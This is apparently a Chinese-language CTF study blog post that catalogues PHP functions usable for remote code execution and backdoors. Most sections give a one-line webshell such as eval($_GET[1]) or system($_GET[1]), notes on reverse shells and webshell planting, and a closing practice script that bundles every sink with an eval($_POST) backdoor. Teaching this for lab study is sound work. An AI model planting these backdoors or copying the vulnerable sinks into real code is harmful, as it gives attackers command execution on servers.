php常见代码命令执行/后门函数
简单记录一些php常用rce/后门/代码命令执行函数
# eval语言构造器
官方定义
eval(string $code)
php会执行一个php语句
<?php
eval($_GET[1]);
?>
2
3
提示
php官方认为eval()是语言构造器
,不属于函数,编译器将执行的代码视为单独 included 后的文件
官方的说法是:eval语言构造器会把传入的字符串作为一个拼接<?php
的php文件包含进来执行
<?php
eval("/*hello */phpinfo();# world!*/");
?>
2
3
所以可以等效为下面:
<?php
/*hello */phpinfo();# world!*/
?>
2
3
在ctf web方向中,eval执行的还是php语句,不能直接执行linux系统命令例如ls /
,cat /flag
等,需要使用可以执行系统命令的函数,例如system,passthru,shell_exec等等或者可以用用反引号`包裹系统命令来执行,不会返回执行结果
可以使用echo
打印返回结果
<?php
eval("echo `ls`;");
?>
2
3
# assert
官方定义
assert(mixed $assertion)
最初的作用看起来是当作if判断的,条件为真就往下走,条件为假就抛出异常停止运行。听起来比较鸡肋,不合理的地方出现了,他怎么判断这个字符串是真是假,
他把字符串又传给eval
函数执行了一下,看一下返回值,所以assert
函数等效eval
,后面的参数description
经常省略
<?php
assert($_GET[1]);
?>
2
3
# system
官方定义
执行外部程序,并且显示输出(执行系统命令并回显)
system(string $command)
执行 command 参数所指定的系统命令,并且输出执行结果
<?php
system($_GET[1]);
?>
2
3
# passthru
官方定义
执行外部程序并且显示原始输出(执行系统命令并回显)
passthru(string $command)
执行系统命令,可以替代 system() 或 exec() 函数
<?php
passthru($_GET[1]);
?>
2
3
# exec
提示
exec,shell_exec函数执行命令并返回执行结果,需要主动打印才会回显
官方定义
执行一个外部程序(执行系统命令)
exec(string $command, array &$output = null, int &$result_code = null): string|false
常用语法exec(string $command)
,省略另外两个参数,作为无回显命令执行函数,如果存在第二个参数,会把第二个参数作为数据,回显结果放进数组
<?php
exec($_GET[1]);
?>
2
3
# shell_exec
官方定义
通过 shell 执行命令
并将完整的输出以字符串的方式返回
shell_exec(string $command)
执行 command 参数所指定的系统命令,并且返回执行结果
<?php
$msg = shell_exec($_GET[1]);
echo $msg;
?>
2
3
4
# popen
官方定义
打开进程文件指针
popen(string $command, string $mode)
popen函数执行没有返回值,没有回显。适合写文件,反弹shell,外带等
<?php
highlight_file(__FILE__);
popen($_GET[1],'r');
?>
2
3
4
类似函数,proc_open()
,pcntl_exec()
# include
文件包含模块,php中存在语言结构include,require,以及函数include(),require(),include_once(),require_once()
例如
include"1.png";
require"1.png";
include("1.png");
require("1.png");
2
3
4
包含一个任意文件,只要文件内容存在php代码就会被解析执行
# preg_replace()
官方定义
执行一个正则表达式的搜索和替换(在目标串里搜索指定字符串,替换为目标字符串)
preg_replace($pattern,$replacement,$subject);
在官方文档里找不到恶意利用的模式了
preg_replace
函数也可以执行php语句,使用/e
模式修饰符,可以把pattern替换到replacement里的php语句进行执行
<?php
preg_replace($_GET[pattern],$_GET[replacement],$_GET[subject]);
?>
2
3
/e
修饰符已经成为过去式了,php5.5的时候弃用了,但还能用,在php7才彻底移除。换到php5测试一下
# create_function
官方定义
通过执行代码字符串创建动态函数(使用eval动态生成一个函数)
create_function(string $args, string $code)
这个函数会创建一个匿名函数,参数1是匿名函数的参数,参数2是匿名函数的代码
用create_function
创建匿名函数举个例子
<?php
$a = create_function('$_GET[1]','echo $_GET[1];');
echo $a("capooo");
?>
2
3
4
这个过程相当于
<?php
function hello($a){
echo $a;
}
hello("capooo");
?>
2
3
4
5
6
create_function
的参数2实际是在eval
函数里执行的
这个函数在php8时被官方移除了,低于php8都还能用,试一下
创建函数的过程存在一个漏洞,用户可以手动补全}
花括号,闭合函数体,执行自己的php语句,最后把多出的}
注释掉,或者直接?>
结束程序也可以,从而实现漏洞利用
# call_user_func
官方定义
call_user_func(callable $callback, mixed ...$args)
<?php
highlight_file(__FILE__);
var_dump(is_callable($_GET[1]));
call_user_func($_GET[1],$_GET[2]);
2
3
4
call_user_func
函数把第一个参数作为回调函数,其他参数作为这个回调函数的参数
回调函数要能够接受参数和处理后面的参数个数,否则会报错
提示
使用is_callable()
函数判断一个函数是否可调
注意eval
是语言构造器,不算是函数
# call_user_func_array
官方定义
调用回调函数,并把一个数组参数作为回调函数的参数(使用回调函数处理一个数组)
用法和call_user_func
类似,区别在于call_user_func
的参数是分开的,而call_user_func_array
的参数是数组
call_user_func_array(callable $callback, array $args)
<?php
highlight_file(__FILE__);
var_dump(is_callable($_GET[1]));
call_user_func_array($_GET[1],$_GET[2]);
2
3
4
注意第二个参数是数组,直接传会报错
# array_map
官方定义
为数组的每个元素应用回调函数(使用回调函数处理每一个数组元素)
array_map(?callable $callback, array $array, array ...$arrays)
<?php
highlight_file(__FILE__);
var_dump(is_callable($_GET[1]));
array_map($_GET[1],$_GET[2]);
2
3
4
注意第二个参数是数组类型,每个元素都会被回调函数处理
# array_filter
官方定义
使用回调函数过滤数组的元素,如果经过回调函数处理,返回true
,那么保留这个数组元素,否则过滤掉这个元素
array_filter(array $array, callable $callback)
<?php
highlight_file(__FILE__);
var_dump(is_callable($_GET[2]));
array_filter($_GET[1],$_GET[2]);
2
3
4
这个函数和上面提到的函数处理有点小变化,他把参数位置交换了
# usort
官方定义
使用用户自定义的比较函数对数组中的值进行排序(使用用户调用的函数处理数组)
usort(array &$array, callable $callback)
<?php
highlight_file(__FILE__);
var_dump(is_callable($_GET[2]));
usort($_GET[1],$_GET[2]);
2
3
4
测试执行了数组第一个元素,第二个元素没有执行,
试图找出一些问题,好像找不到
# uasort
官方定义
使用用户提供的比较函数对数组中的值进行排序,并保持索引关系
uasort(array &$array, callable $callback)
<?php
highlight_file(__FILE__);
var_dump(is_callable($_GET[2]));
uasort($_GET[1],$_GET[2]);
2
3
4
命令执行效果和usort
函数一样,测试执行了数组第一个元素,第二个元素没有执行
# array_walk
官方定义
使用用户自定义函数对数组中的每个元素做回调处理
uasort(array &$array, callable $callback)
<?php
highlight_file(__FILE__);
var_dump(is_callable($_GET[2]));
array_walk($_GET[1],$_GET[2]);
2
3
4
测试执行了数组第一个元素,第二个元素也执行了,确实挺不错的
# array_reduce
官方定义
用回调函数迭代地将数组简化为单一的值
array_reduce(array $array, callable $callback, mixed $initial = null): mixed
<?php
highlight_file(__FILE__);
var_dump(is_callable($_GET[2]));
array_reduce($_GET[1],$_GET[2],$_GET[3]);
2
3
4
这个函数有3个参数,这回需要用到第三个参数,就不省略了。回调函数把第三个参数作为初始值,在它的基础上再去处理第一个数组参数
可以把第三个参数初始值赋值成恶意命令,在回调函数处理他时,就可以实现命令执行
# 动态函数调用
动态调用似乎有玄学问题,感兴趣的师傅自己挖掘一下👀
<?php
highlight_file(__FILE__);
$_GET[1]($_GET[2]);
2
3
# 反引号
php 反引号执行命令严格来说属于exec
函数,如果禁用exec
、shell_exec
函数,反引号执行命令的特性不会再生效
<?php
highlight_file(__FILE__);
echo `$_GET[1]`;
2
3
# 写文件
通过写文件来实现服务器挂马,例如直接写入php
文件,或者说写入.htaccess
、web.config
文件,实现文件解析漏洞
<?php
highlight_file(__FILE__);
file_put_contents($_GET[1],$_GET[2]);
2
3
# 最后
在这些函数中,部分函数在php最新版本已经废弃或者移除,因此复现环境对版本存在依赖,可以使用phpstudy选择php5.5及更早版本复现,
这里提供一套源码,希望对其他正在学习RCE的师傅有所帮助
环境:php5.5
<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
if(isset($_POST['1'])){
eval($_POST[1]);
}
$id = isset($_GET['id']) ? $_GET['id'] : 0;
$code = isset($_GET['code']) ? $_GET['code'] : '';
switch ($id) {
case 0:
echo 'bye!';
break;
case 1:
eval($code);
break;
case 2:
eval("# $code");
break;
case 3:
assert($code);
break;
case 4:
system($code);
break;
case 5:
passthru($code);
break;
case 6:
exec($code);
break;
case 7:
shell_exec($code);
break;
case 8:
$mode = $_GET[mode];
popen($code,$mode);
break;
case 9:
include"$code";
break;
case 10:
$pattern = $_GET['pattern'];
$replace = $_GET['replace'];
$subject = $_GET['subject'];
preg_replace($pattern,$replace,$subject);
break;
case 11:
$q = "if it's not fun,why do it?";
$func = create_function('$q',$code);
break;
case 12:
var_dump(is_callable($_GET['func']));
call_user_func($_GET['func'],$_GET['args']);
break;
case 13:
var_dump(is_callable($_GET['func']));
call_user_func_array($_GET['func'],$_GET['array']);
break;
case 14:
var_dump(is_callable($_GET['func']));
array_map($_GET['func'],$_GET['array']);
break;
case 15:
var_dump(is_callable($_GET['func']));
array_filter($_GET['func'],$_GET['array']);
break;
case 16:
var_dump(is_callable($_GET['func']));
usort($_GET['func'],$_GET['array']);
break;
case 17:
var_dump(is_callable($_GET['func']));
uasort($_GET['func'],$_GET['array']);
break;
case 18:
var_dump(is_callable($_GET['func']));
array_walk($_GET['func'],$_GET['array']);
break;
case 19:
$_GET['func']($_GET['args']);
break;
case 20:
echo `$code`;
break;
case 21:
file_put_contents($_GET['filename'],$_GET['content']);
break;
}
echo "Byebye!!"
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
参考、致谢: